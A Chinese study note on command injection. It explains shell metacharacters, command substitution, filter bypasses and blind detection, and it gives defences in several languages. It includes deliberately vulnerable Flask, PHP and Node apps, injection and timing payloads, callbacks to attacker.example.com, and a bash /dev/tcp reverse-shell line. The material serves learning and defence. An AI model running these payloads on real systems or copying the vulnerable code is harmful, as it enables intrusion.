命令注入(Command Injection)漏洞学习笔记
1. 基础注入语法与原理(;
, &&
, |
, ||
, &
等)
当应用把未经信任的数据拼接给 shell(例如通过 sh -c "do something " + user"
或 system()
)时,shell 会把输入作为一条命令行进行词法解析;元字符 ;
表示语句终结并执行下一条,&&
在前一条成功时执行下一条,|
创建管道等。攻击者利用这些符号把额外命令附加到合法命令之后,从而在服务器上执行任意命令。关键不是字符本身,而是 shell 对这些字符的解释地位(它们是控制运算符而非文字字符),只要输入被 shell 解释,这些符号就危险。
常见绕过与示例
若开发者对 ;
做了黑名单过滤,攻击者可能使用命令替换(`...`
/ $()
)或换行、&
、管道等等来达成目的。因此正确策略不是黑名单单字符,而是禁止把不可信数据走进会被 shell 重新解析的路径。下面是最基础的例子(危险示例 — 切勿在生产执行,用于学习):
Python 危险后端(Flask)示例:
# app_danger.py (危险用法,仅用于学习/测试)
from flask import Flask, request
import os
app = Flask(__name__)@app.route("/ping")
def ping():host = request.args.get("host", "")# 危险:把用户输入拼入 shell 命令return os.popen("ping -c 1 " + host).read()
如果 host=127.0.0.1; id
,返回会包含 id
的输出。替代做法在后文第三部分详述。
测试用例(本地测试)
在本地 VM 启动上述 Flask(仅在 dev 环境),然后用 curl:
curl 'http://127.0.0.1:5000/ping?host=127.0.0.1;id'
你会看到 id
输出(如果后端没有过滤)。这就是最原始的命令注入演示。
2. 命令替换(反引号 / $())与其危险性
概念
命令替换是 shell 的一项功能:`cmd`
或 $(cmd)
会先执行 cmd
,然后把 cmd
的标准输出插回原处。若应用在一个被 shell 解析的上下文中接受用户输入,那么即使用户看起来只是提供“参数”,命令替换也会先行执行,从而达成注入。
示例与绕过
许多开发者会尝试过滤 ;
或 &&
,但忽略了反引号或 $()
。例如,假设后端把用户输入放入双引号中 sh -c "do something $input"
,若 input
包含 $(id)
,该命令将先运行 id
并替换为结果,即发生注入。
PHP 示例:
// dangerous.php
$arg = $_GET['arg'];
$out = shell_exec("echo \"$arg\"");
echo $out;
若 arg=$(whoami)
,实际执行会先取 whoami 的结果再 echo。
避免办法见下文防御章节。
3. 文件名扩展(globbing)与 IFS(word splitting)技巧
为什么重要
命令行解析不仅仅是控制字符,还包括路径扩展(比如 *
会展开成匹配的文件列表)和基于 IFS 的单词拆分(一个扩展的结果会根据 IFS 拆分为多个 argv)。攻击者利用这些语义制造意外参数或将单个参数拆成多个部分。
例如,如果用户输入 $(echo "a b")
,在没有适当引号保护的上下文中,扩展后会被拆成两个单词 a
与 b
,从而改变程序参数结构。
测试示例(实验)
在受控系统:
# 在 /tmp 下创建文件 a b
touch "/tmp/a"
touch "/tmp/b"
# 假设后端执行:ls /tmp/$user_input
# 如果 user_input='*',ls 会列出 a b
这证明了 globbing 会改变参数含义。
4. Windows 特有语法(&、|、||、cmd /c、powershell)
关键点
Windows shell(cmd.exe
或 powershell.exe
)的控制符与 Unix shell 不同:&
用于串行命令,||
条件执行等。
示例(Windows、PowerShell)
如果后端在 Windows 上以 cmd.exe /c "somecmd " + user
执行,用户可以传入 & whoami
来追加命令。PowerShell 则有更强大的替换与表达式语法,防护复杂度更高。
5. 盲注(无法直接获得命令输出时的检测方法)
原理
当应用不会把命令执行的结果直接返回(或输出被过滤),仍可以通过时间盲注或带外通信(DNS/HTTP 回连)检测注入是否成立。时间盲注常见于 sleep
/ping -c
等命令可造成响应延迟的环境。带外回连则是让目标系统自己向攻击者控制的服务器发起请求(极大地证明了远程命令执行能力)。
时间盲注示例(Linux)
假设后端执行 ping -c 1 $host
且不返回命令输出,但会明显延迟响应:
# 测试 input
host=127.0.0.1; sleep 5
# 如果响应延迟 5 秒,说明命令被执行
更稳健的测试是使用 timeout
或 sleep
并测量响应时间。
带外回连示例(DNS/HTTP)
让目标执行 curl http://attacker.example.com/p
或 nslookup attacker.example.com
,若你在 attacker.example.com 上运行监听器(合法授权下),收到请求即证明注入可达。
6. 绕过过滤:编码、转义、双重编码与替代语法
原理
许多防护只做了表面过滤(比如搜 ;
、&&
),实际可被多种方法绕过:URL encode、Unicode encode、双重编码、替换为功能相同的运算符、使用环境变量或文件中转。关键是:如果任何一层(web 服务器、后端语言、shell)中有“解码/转义”的行为,攻击者可以通过多层编码来绕过上层的过滤。
举例说明:某 WAF 过滤 %3B
(;
的 URL encoding),但应用在内部会对输入进行 URL decode
两次,攻击者可以传 %253B
(双编码),在两次解码后变成 %3B
再变成 ;
。
测试策略
- 针对每个可疑点尝试多种编码(URL encode、base64 转换并在 shell 中解码、hex 等)。
- 在后端中间件多层解码的情况下,测试双重编码。
- 使用替代字符:在 Windows 与 POSIX 下测试不同的分隔符或转义符(例如
^
在 cmd 中能转义)。
7. 常见语言/框架的“危险 API”与安全模式(丰富代码示例)
下面分语言举例:每个语言先给“危险模式”,再给“安全替代”,并解释底层行为。
Python
危险:os.system
, os.popen
, subprocess.run(..., shell=True)
。这些都会把字符串送给 shell 解析(sh -c
)。
安全:
# safe_python.py
import subprocessdef run(cmd_name, arg):# 参数化接口,避免 shell 解析proc = subprocess.run([cmd_name, arg], capture_output=True, text=True, shell=False)return proc.stdout
如果必须使用 shell(例如需要管道)则严格校验参数并调整执行用户环境(最小权限)。
Node.js
危险:child_process.exec(cmd)
(走 shell)
安全:
// safe_node.js
const { spawn } = require('child_process');
function run(dir) {const ls = spawn('ls', [dir]);// 处理 stdout/stderr
}
PHP
危险:system
, exec
, shell_exec
安全:
// safe_php.php
$cmd = 'convert';
$arg = escapeshellarg($user_input); // 仅当确实需要 shell 时,结合白名单
$full = $cmd . ' ' . $arg;
$output = shell_exec($full);
说明:使用 escapeshellarg
可以防止很多简单注入,但并非万能,必须结合严格白名单或直接调用底层过程控制函数(proc_open
with careful args)更安全。
Java
危险:Runtime.getRuntime().exec(String)
(传字符串会走 shell)
安全:以字符串数组形式调用 exec(String[] cmdarray)
或使用第三方库将参数分离。
8. 反弹 shell、持久化技术(为什么要谨慎阅读这些内容)
反弹 shell 技术(比如 nc -e
,bash -i >& /dev/tcp/attacker/4444 0>&1
)对渗透测试非常有用,但也高度危险。这里我说明原理与变种供防御者理解,不列出一键可执行的完整链(避免滥用):
- 原理:利用系统上存在的网络可用工具(nc、bash、python、perl)在目标机器上启动一个交互 shell,并把标准输入/输出重定向到攻击者可达的端点。
- 防御重点:限制出站网络(egress),关闭或限制危险工具(在生产镜像中移除
nc
、curl
、python
等),使用最小权限容器并对可执行文件做白名单。
你在测试时可以把“反弹”替换为“向自己控制的日志接口回连”来证明命令执行点,而不要在未授权环境内启动真正的远程 shell。
9. 测试用例
示例:自动化 Python 测试骨架(pytest)
下面给出一个最小的测试框架思路:
- 启动受控 Flask 应用(危险版本)在临时容器中。
- 使用 pytest 发起 HTTP 请求并判断输出或响应时间。
- 将 payload 列表作为参数化输入。
# test_cmdinj.py (示例)
import subprocess, time, requests, pytest@pytest.fixture(scope='module')
def start_app():# 假设有一个 Dockerfile 会启动 app_danger.pysubprocess.run(["docker", "build", "-t", "cmdinj_test", "."])container = subprocess.run(["docker", "run", "-d", "-p", "5000:5000", "cmdinj_test"], capture_output=True, text=True)cid = container.stdout.strip()time.sleep(1) # wait for appyieldsubprocess.run(["docker", "rm", "-f", cid])@pytest.mark.parametrize("payload, expect_delay", [("127.0.0.1; sleep 2", 2),("127.0.0.1 && echo hello", 0),
])
def test_timeblind(start_app, payload, expect_delay):t0 = time.time()r = requests.get("http://127.0.0.1:5000/ping", params={"host": payload})t1 = time.time()assert (t1 - t0) >= expect_delay
10. 常见的 payload 类型
基础控制运算符类(;
、&&
、|
)
原理:切分或条件执行;测试示例如前(Flask ping)。绕过防护:使用 $()
或反引号,不要只过滤单一字符。
命令替换($()
/ `...`
)
原理:先执行替换块再代入命令行;绕过:如果 $(...)
被过滤,可以尝试反引号或嵌套替换;测试示例:
# 使用 /bin/sh -c "echo USER=$(whoami)"
文件写入与横向移动(使用重定向 >
)
原理:通过 >
把内容写进 /tmp
下的 web 可访问目录来植入 webshell。防御:尽量让 Web 目录不可写,或者对临时目录权限做限制。测试示例(受控):
# 如果后端允许:; echo 'payload' > /tmp/pwn.php
# 检查 /tmp/pwn.php 内容
(测试时确保 /tmp 是安全目录且在 VM 中测试)
盲注(时间/带外)
已详述。测试示例在上文自动化 pytest 框架提供。
DNS/HTTP 回连
原理:使目标发出网络请求以证明命令执行能力;防御:限制出站、做网络 egress 策略;测试时使用你自己的受控域名或内网 log sink。
11. 防御要点
一句话:消除对 shell 的依赖;无法消除时白名单 + 转义 + 最小权限 + 审计。
工程实践(简短说明):把危险 API 列为 SAST 规则并阻断 PR;在服务端把可执行命令替换为参数化接口;对必须传到 shell 的参数做强白名单(格式校验、枚举),并在运行环境中限制 egress、使用容器与只读文件系统、记录每次外部进程启动的上下文与参数作为审计证据。
12. 丰富的测试案例集合
案例 A:最基础 - Flask 演示与自动化测试(包含多种 payload)
项目结构:
cmdinj-lab/Dockerfileapp_danger.pytest_cmdinj.pyrequirements.txt
Dockerfile(用于在容器中启动实验用服务):
FROM python:3.11-slim
WORKDIR /app
COPY app_danger.py /app/app_danger.py
RUN pip install flask
CMD ["python", "/app/app_danger.py"]
app_danger.py:
from flask import Flask, request
import os
app = Flask(__name__)@app.route('/ping')
def ping():host = request.args.get('host',"")return os.popen("ping -c 1 " + host).read()if __name__=='__main__':app.run(host='0.0.0.0', port=5000)
test_cmdinj.py(pytest 自动化示例,包含盲注与回显检测):
import requests, time, subprocess, pytest@pytest.fixture(scope='module', autouse=True)
def start_container():subprocess.run(['docker','build','-t','cmdinj_test','.'], check=True)cid = subprocess.check_output(['docker','run','-d','-p','5000:5000','cmdinj_test']).decode().strip()time.sleep(1)yieldsubprocess.run(['docker','rm','-f', cid], check=True)def test_basic_echo():r = requests.get('http://127.0.0.1:5000/ping', params={'host': '127.0.0.1; echo PWNTEST'})assert 'PWNTEST' in r.textdef test_timeblind():start = time.time()requests.get('http://127.0.0.1:5000/ping', params={'host':'127.0.0.1; sleep 2'})assert time.time() - start >= 2
运行方式:
pytest test_cmdinj.py -q
这套实验会验证:1)简单的 ;
注入能回显;2)时间盲注可检测到命令执行延迟。
案例 B:多语言示例合集(PHP / Node / Java)
为便于团队熟悉各种语言的危险点,下面分别给出最小可运行示例(仅用于测试)。
PHP (危险) — web.php:
<?php
$cmd = $_GET['cmd'] ?? '';
// Dangerous:
echo shell_exec($cmd);
?>
测试:
curl 'http://127.0.0.1/web.php?cmd=echo%20hello;id'
修复思路:把允许执行的命令枚举到白名单中,或避免 shell_exec
。
Node (危险) — app.js:
const http = require('http');
const { exec } = require('child_process');
http.createServer((req,res) => {const url = new URL(req.url, 'http://127.0.0.1');const cmd = url.searchParams.get('cmd') || '';exec(cmd, (err, stdout, stderr) => {res.end(stdout+stderr);});
}).listen(3000);
替代:使用 spawn
并把参数作为数组传入,或避免执行外部命令。
案例 C:盲注探测脚本(批量测试 payload 列表)
probe_blind.py:
import requests, timeURL = "http://127.0.0.1:5000/ping"
payloads = ["127.0.0.1; sleep 2","127.0.0.1 && sleep 2","127.0.0.1$(sleep 2)",]for p in payloads:t0 = time.time()r = requests.get(URL, params={'host': p})dt = time.time() - t0print(f"Payload: {p} -> {dt:.2f}s")
13. 把防御内嵌到开发周期(SAST/DAST/CI)
SAST(静态规则)建议
- 在仓库中建立规则:禁止
os.system
,popen
,Runtime.exec(String)
等未审计的使用。Semgrep/CodeQL 都支持自定义规则。 - 对每次命中强制要求 PR 写明:为什么这是安全(白名单/参数化)或修复计划。
简单 Semgrep 规则示例(伪代码):
rules:- id: avoid-os-systempatterns:- pattern: os.system($X)message: "Avoid os.system with user input; prefer subprocess.run([...], shell=False)"severity: ERROR
DAST(动态检测)
- 在 QA 环境运行自动化扫描(Burp/自写 fuzzer)
CI 集成
- 在 PR pipeline 中加入 SAST 阶段;若遇危险 API 阻断合并,或要求 PR 附带安全审计说明。
- 提交带外部命令更改时,要求安全审计批准(由安全团队或架构团队签字)。
14. 高级绕过/技巧
-
IFS(Internal Field Separator) 利用
- 为什么可用:扩展结果基于 IFS 拆分为多个参数,攻击者可借助环境或输入中的 IFS 字符来增加参数或改变边界。
- 绕过检测:若某层过滤掉空格或
;
,攻击者可通过$(printf '\t')
或%0A
等方式注入 IFS。 - 防御:对输入做严格格式化校验(白名单),在传给 shell 前把用户输入用单引号完全包裹并使用安全 API(尽量不交给 shell)。
-
双重解码
- 为什么可用:多层中间件进行多次 URL decode,会把双重编码的 payload 还原成危险字符。
- 防御:在最外层统一做一次严格解码与校验,避免在内部进行二次自动解码或明确规定解码行为。
-
替代命令/命令链
- 为什么可用:若黑名单过滤列出某些命令名,攻击者可使用其他等价工具(例如使用
perl
、python
来反弹 shell)。 - 防御:把允许执行的命令列为白名单(严格枚举),并限制可使用的可执行文件集合。
- 为什么可用:若黑名单过滤列出某些命令名,攻击者可使用其他等价工具(例如使用
-
混合上下文注入(多层转义误区)
- 情形:应用把输入先写进脚本文件,再
sh script
执行,中间一层转义可能被破坏,导致注入。 - 防御:避免生成 shell 脚本并执行,或在生成脚本时把所有用户数据用 safe quoting(并拒绝任何可疑字符)。
- 情形:应用把输入先写进脚本文件,再